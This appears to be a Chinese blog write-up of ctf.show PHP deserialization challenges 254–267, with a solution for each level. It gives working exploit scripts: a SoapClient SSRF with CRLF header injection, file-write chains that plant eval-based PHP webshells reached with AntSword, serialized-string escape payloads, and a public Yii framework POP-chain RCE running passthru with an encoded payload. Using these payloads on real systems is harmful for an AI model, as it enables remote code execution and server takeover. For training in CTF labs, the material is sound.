ctf-show,web入门,反序列化254~267

254.

没有过滤,只需要按照他需要的参数,将其传上去,即可获得flag

255.

这个题,明显是通过一个cookie值的传入,让我们可以创建一个类,让其可以访问类中的函数,

这里需要知道一件事,序列化后的字符串包含了对象的所有属性值,但它并不包含对象的方法。因此,当你反序列化一个对象时,你需要确保在反序列化的环境中定义了相同的类,这样才能够调用对象的方法。

而%user变量后接了一个反序列化的函数,我们只需要写一个脚本,将创建类的将本序列化,传给cookie,同时注意到,源程序种没有将isVip更改的函数,所以序列化时这里也要注意,最后将其转码为url编码即可使用

256.

本题多了一个这个绕过

 只需要传入的参数跟我对象中的值对的上,然后保证cookie中的不一样就可以了

257.

这道题我们可以了解到backdoor中是有一个eavl函数供我们使用的,所以我们就将构造函数中的实例化,改为backdoor类,再将code赋值为我们需要的代码即可,

258.

与上一题一致,但是多出来正则表达式,过滤的是o或c +  :   +  数字的模式

通过str_replace的方式替换

259.

这道题需要用到一个新的东西,就是php的原生类SoapClient,简单来讲,这个东西就是用于连接不同程序之间的类,由两个参数构成SoapClient($wsdl, $options)

 相当于说$wsdl是人家的web中自己设置的,而这里我们没有这玩意儿,所以就用第二种,自己设置,

同时这玩意需要开启php 的soap服务需要自己去配置文件中修改,将注释符号去掉.

然后我们观察flag文件,其中调用了两次array_pop()函数,这个函数第一次将分割出来的ip地址最后一个删去,然后用一个赋值的方式,将它赋值给了$ip,所以我们需要在构造ip地址时存入多个127.0.0.1

构造一个函数:
构造了location,以及header和post传参的post_string

<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$headers = array(
    'X-Forwarded-For: 127.0.0.1,127.0.0.1,127.0.0.1,127.0.0.1,127.0.0.1',
    'UM_distinctid:175648cc09a7ae-050bc162c95347-32667006-13c680-175648cc09b69d'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'Sentiment^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo urlencode($aaa);

将这串代码的输出值通过get传参给vip即可,接下来,我们需要按照它题的逻辑,访问一下flag.txt

但是我这里好像出现了一些问题出现了

260.

<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
    echo $flag;
}

这道题,是需要我们传入一个值,与他的正则表达式相匹配即可echo出flag

<?php
 
$a="ctfshow_i_love_36D";
echo urldecode(serialize($a));
?>

?ctfshow=s:18:"ctfshow_i_love_36D" 

261.

<?php

highlight_file(__FILE__);

class ctfshowvip{
    public $username;
    public $password;
    public $code;

    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function __wakeup(){
        if($this->username!='' || $this->password!=''){
            die('error');
        }
    }
    public function __invoke(){
        eval($this->code);
    }

    public function __sleep(){
        $this->username='';
        $this->password='';
    }
    public function __unserialize($data){
        $this->username=$data['username'];
        $this->password=$data['password'];
        $this->code = $this->username.$this->password;
    }
    public function __destruct(){
        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);
        }
    }
}

unserialize($_GET['vip']);

首先,看见一个__wakeup方法,他让我们在反序列化对象时调用,保证必须传入的username与password不为空,但是,__sleep方法却让对象在序列化时被赋值为空,emmm,

搜索知道

      __serialize():这个方法是在 PHP 7.2 及更高版本中引入的。它允许在对象上自定义序列化的过程。如果类中存在 __serialize() 方法,那么在任何序列化操作之前,该方法会被优先执行。它必须返回一个关联数组,表示对象的序列化形式。如果没有返回数组,将会抛出一个 TypeError 错误。如果类同时定义了 __serialize() 和 __sleep() 两个魔术方法,那么只有 __serialize() 方法会被调用,而 __sleep() 方法会被忽略。如果对象实现了 Serializable 接口,接口中的 serialize() 方法会被忽略,而代替它的是类中的 __serialize() 方法。

       __unserialize():这个方法也是在 PHP 7.2 及更高版本中引入的。它允许在对象上自定义反序列化的过程。当使用 unserialize() 函数恢复对象时,会检查是否存在名为 __unserialize() 的魔术方法。如果存在,__unserialize() 方法会接收从 __serialize() 返回的恢复数组,并根据需要从该数组中恢复对象的属性。

也就是说上面的方法,我们不需要看__wakeup了,而__sleep方法,我们只需要在构造脚本时不带它即可,所以最后,我们只需要看最后一个方法,它表明了,我们会将username作为文件名,写入数据$password,所以这里我们需要绕过这个弱比较,0x36d是16进制的877,由于是弱比较,直接首位877就OK所以构造脚本

<?php

class ctfshowvip{

    public $username;

    public $password;



    public function __construct($u,$p){

        $this->username=$u;

        $this->password=$p;

    }

}

$a=new ctfshowvip('877.php','<?php eval($_POST[1]);?>');

echo serialize($a);

访问877.php

大概就是这样,在用蚁剑连一下就OK

 

262.

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 02:37:19
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}

highlight_file(__FILE__);

这个题的主题就是将编码后的值传给名为msg的cookie,在这里我们看不到与序列化相关的代码,但是上面有一个hint提示有一个message.php,我们可以访问一下看一下

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 15:13:03
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

果然,这里有一个将msg解码后反序列化的过程,需要token==admin

又因为它有一步$umsg = str_replace('fuck', 'loveU', serialize($msg));只传入了f,m,t,这会导致我们的token值传不进去,所以需要在传入的参数中加上我们想要传入的token值,也就是一个构造序列化字符串的过程,而输入一个fuck,可以让原本的参数向后退一格,而如果字符足够的话,是可以将我们需要的代码顶出去,从一个普通字符串变为真正的序列化的字符串,而这串字符真正的代码也会向后顶,最后被排挤出去.

大概就是这样:

<?php
class message{
    public $t=1;
    public $m=1;
    public $f='fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}';
    public $token='admin';    
    }
echo serialize(new message());

这样即可以正常的字符串污染,这里是因为只传入了t,m,f的值,所以没办法改token的值,

所以,我们只需要get传参3个值上去即可,

?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

注意一定要顺序对,按照参数传入的顺序,逃逸的部分必须放在最后,否则会提前闭合导致报错(亲测!!!)
 

再次访问message.php

263.

本题是session反序列化,一般来讲session中有两种编码形式,

一种是php(默认):在这种方式下,会话数据被 PHP 的内置序列化函数 serialize() 编码后存储到文件或者其他持久化存储介质中。

另一种实际上也是一种serialize的方式,这种方式最后得到的结果与第一种情况有些许不一致,但是都是经过serialize后的结果,

本体就是它编码的方式是第二种,但是后面识别时却可以通过第一种编码的标识符"|"使之产生漏洞,

现在我们来看源代码,

首先先访问www.zip,获得源文件压缩包(其他师傅扫描的结果),

 里面主要这几个结果

	if(isset($_SESSION['limit'])){
		$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
		$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
	}else{
		 setcookie("limit",base64_encode('1'));
		 $_SESSION['limit']= 1;
	}

首先我们看这个index.php中的判断语句,第一个条件因为变量名写错了,所以永假,即始终会执行将cookie中的liimit变量base64解码等于SESSION['limit'],所以这次应该是从cookie中传入值了,

再看inc.php,这个文件中储存了关于session的编码方式,

在检查sql注入的情况下,还定义了一个user类

可以观察到最后有一个文件写入的函数,主要就是username,和password,在这儿写一句话🐎

因为这个文件中有session_start(),所以可以用session,同时对于这个程序来讲,这个文件的解释器即是"php"模式,但是index.php中应该是另一种编码方式,所以我们需要用到的序列化的字符串需要在

前面加"|"才行,这样就可以正确解释了,

再看check.php,这个主要就是一个检查用户名的过程,因为在一个session_start()的文件中会自动将我们需要的东西反序列化,于是思路就出来了

首先构建木马,文件名和一句话木马分别放入username和password(当然直接使用system函数也可以)

序列化后加上'|',base64编码,访问index.php传入cookie,(已经生成session)
再将limit改为1(经过base64编码)

带着cookie访问check.php(有session_start)

再访问文件,可以用蚁剑连接获取flag
<?php
class User{
    public $username;
    public $password;
    public $status='a';
    function __construct(){
        $this->username = "1.php";
        $this->password = '<?php eval($_POST[1])?>';}
}
$a=new User();
echo base64_encode('|'.serialize($a));


//fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czoyMzoiPD9waHAgZXZhbCgkX1BPU1RbMV0pPz4iO3M6Njoic3RhdHVzIjtzOjE6ImEiO30=

发现session已经构造成功,

访问check.php后再访问log-1.php如果成功打开即成功,

剩下的去连蚁剑即可.

264.

本题与第262题有些相似,

同样是一个字符串逃逸,大体就是我的序列化的字符串还要经过base64编码传入session,然后在message.php上将其解码反序列化后,验证token==admin,

由于这里的参数都是通过get传参然后程序主动构造库的,所以直接传入参数就可以了

payload与上次一样

?f=1&&m=1&&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

还有一点需要注意的是,message.php文件中有一个检查是否有cookie['msg']的一个传入,我们需要手动去给他添加一个,我用火狐的hackbar发现cookie打死传不进去,所以还是直接去控制台,添加最有效果.(看cookie是否传入也可以在控制台去看,上一个题就是cookie打死传不进去,做了个多小时没搞出来.......)

265.

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-04 23:52:24
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct($t,$p){
        $this->token=$t;
        $this->password = $p;
    }
    public function login(){
        return $this->token===$this->password;
    }
}

$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());

if($ctfshow->login()){
    echo $flag;
}

这道题代码很简单,实际就是生成了一个随机数通过md5加密产生的唯一令牌,需要验证password与token值相等即可输出flag,

这里可以想到的是,我们可以通过php本身的性质,通过创建引用,将两个变量划分到同一片内存空间,这样无论token如何改变,都是相当于在同时操作两个变量了,

<?php
class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct($t){
        $this->token=$t;
        $this->password = & $this->token;
    }
}

echo serialize(new ctfshowAdmin(1))
?>

大概脚本就这麽写.

然后get传参过去就ok了

266. 

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-04 23:52:24
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

highlight_file(__FILE__);

include('flag.php');
$cs = file_get_contents('php://input');


class ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function login(){
        return $this->username===$this->password;
    }
    public function __toString(){
        return $this->username;
    }
    public function __destruct(){
        global $flag;
        echo $flag;
    }
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
    throw new Exception("Error $ctfshowo",1);
}

我看了这个题以后,第一反应就是得让对象销毁,搜索资料发现,报错处理会直接停止程序,也就是说__destruct()无法被执行,但是我们知道,当反序列化出问题时,如果类名可以匹配上,就可以执行它的析构函数,但是浏览器上我不知道咋传入没有参数的值,所以直接上burp,写进去,直接就出来了

267.

这个题是一个关于web开发的php框架的一个漏洞(具体不理解,了解以后来更新...)

这个题的解题方法就是

首先登录网站

用户名和密码都是admin

然后来到page页面,查看view-source,获得提示

然后通过网上公开的脚本

<?php

namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'passthru';
            $this->id = 'cat /flag';
        }
    }
}
namespace Faker {

    use yii\rest\IndexAction;

    class Generator
    {
        protected $formatters;

        public function __construct()
        {
            $this->formatters['close'] = [new IndexAction(), 'run'];
        }
    }
}
namespace yii\db{

    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;
        public function __construct()
        {
            $this->_dataReader=new Generator();
        }
    }
}
namespace{

    use yii\db\BatchQueryResult;

    echo base64_encode(serialize(new BatchQueryResult()));
}

主要就是改checkAccess参数以及id参数,使之可以回显,

传参得到flag

r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo4OiJwYXNzdGhydSI7czoyOiJpZCI7czo5OiJjYXQgL2ZsYWciO31pOjE7czozOiJydW4iO319fX0=

说实话,这个题属实是没看懂,按照网上的攻略整的.....

后面的就不会了...... 

  • 7
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值